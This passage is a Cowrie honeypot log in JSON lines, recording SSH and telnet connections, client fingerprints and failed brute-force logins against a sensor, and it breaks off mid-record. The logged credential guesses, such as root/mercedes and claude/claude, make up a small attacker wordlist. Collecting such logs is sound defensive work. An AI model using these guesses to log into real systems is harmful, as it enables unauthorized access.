{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:22.828830Z","src_ip":"185.40.30.168","session":"0416be6873f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anarchia","message":"login attempt [root/anarchia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:23.367653Z","src_ip":"185.40.30.168","session":"0416be6873f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":43296,"dst_ip":"159.203.135.109","dst_port":22,"session":"d375c718457f","protocol":"ssh","message":"New connection: 103.75.183.219:43296 (159.203.135.109:22) [session: d375c718457f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:24.347311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:24.352335Z","src_ip":"103.75.183.219","session":"d375c718457f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:24.496497Z","src_ip":"185.40.30.168","session":"0416be6873f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:24.598899Z","src_ip":"103.75.183.219","session":"d375c718457f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mercedes","message":"login attempt [root/mercedes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:25.339418Z","src_ip":"103.75.183.219","session":"d375c718457f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:26.587272Z","src_ip":"103.75.183.219","session":"d375c718457f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":58256,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6268a346bcf","protocol":"ssh","message":"New connection: 109.172.54.111:58256 (10.17.0.5:22) [session: f6268a346bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:29.413107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:29.419108Z","src_ip":"109.172.54.111","session":"f6268a346bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:29.515548Z","src_ip":"109.172.54.111","session":"f6268a346bcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bandit","message":"login attempt [root/bandit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:29.800259Z","src_ip":"109.172.54.111","session":"f6268a346bcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:30.902146Z","src_ip":"109.172.54.111","session":"f6268a346bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34240,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1889d08f4f3","protocol":"telnet","message":"New connection: 192.119.13.58:34240 (10.17.0.5:23) [session: d1889d08f4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:34.383397Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":43490,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cc1a87c759c","protocol":"ssh","message":"New connection: 168.144.95.137:43490 (10.17.0.5:22) [session: 3cc1a87c759c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:35.232982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:35.246096Z","src_ip":"168.144.95.137","session":"3cc1a87c759c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:35.457813Z","src_ip":"168.144.95.137","session":"3cc1a87c759c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"schmidt","message":"login attempt [root/schmidt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:36.335094Z","src_ip":"168.144.95.137","session":"3cc1a87c759c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:37.548986Z","src_ip":"168.144.95.137","session":"3cc1a87c759c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":58100,"dst_ip":"159.203.135.109","dst_port":22,"session":"977620942a1c","protocol":"ssh","message":"New connection: 43.128.106.207:58100 (159.203.135.109:22) [session: 977620942a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:39.393287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:39.397335Z","src_ip":"43.128.106.207","session":"977620942a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:39.642236Z","src_ip":"43.128.106.207","session":"977620942a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:40.654821Z","src_ip":"43.128.106.207","session":"977620942a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:41.903295Z","src_ip":"43.128.106.207","session":"977620942a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":35566,"dst_ip":"159.203.135.109","dst_port":22,"session":"87a92b585c06","protocol":"ssh","message":"New connection: 217.154.42.110:35566 (159.203.135.109:22) [session: 87a92b585c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:42.855599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:42.859399Z","src_ip":"217.154.42.110","session":"87a92b585c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:42.946184Z","src_ip":"217.154.42.110","session":"87a92b585c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":10403,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e1399bbbf64","protocol":"ssh","message":"New connection: 2.57.121.112:10403 (10.17.0.5:22) [session: 1e1399bbbf64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:43.158556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:43.163221Z","src_ip":"2.57.121.112","session":"1e1399bbbf64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:43.267372Z","src_ip":"2.57.121.112","session":"1e1399bbbf64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spider","message":"login attempt [root/spider] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:43.303354Z","src_ip":"217.154.42.110","session":"87a92b585c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":49114,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b67914c065a","protocol":"ssh","message":"New connection: 43.134.104.184:49114 (159.203.135.109:22) [session: 5b67914c065a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:43.641991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:43.646324Z","src_ip":"43.134.104.184","session":"5b67914c065a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31071971","message":"login attempt [admin/31071971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:43.755220Z","src_ip":"2.57.121.112","session":"1e1399bbbf64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:43.884761Z","src_ip":"43.134.104.184","session":"5b67914c065a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:44.385432Z","src_ip":"217.154.42.110","session":"87a92b585c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310583","message":"login attempt [admin/310583] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:44.864967Z","src_ip":"2.57.121.112","session":"1e1399bbbf64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"neo123","message":"login attempt [root/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:44.872948Z","src_ip":"43.134.104.184","session":"5b67914c065a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47924,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e03370b191","protocol":"telnet","message":"New connection: 192.119.13.58:47924 (10.17.0.5:23) [session: e5e03370b191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:45.077103Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310574","message":"login attempt [admin/310574] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:45.973473Z","src_ip":"2.57.121.112","session":"1e1399bbbf64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:46.114824Z","src_ip":"43.134.104.184","session":"5b67914c065a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31051971","message":"login attempt [admin/31051971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:47.080407Z","src_ip":"2.57.121.112","session":"1e1399bbbf64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":60908,"dst_ip":"10.17.0.5","dst_port":22,"session":"348d5290317d","protocol":"ssh","message":"New connection: 103.98.149.87:60908 (10.17.0.5:22) [session: 348d5290317d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:47.267250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:47.292646Z","src_ip":"103.98.149.87","session":"348d5290317d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openss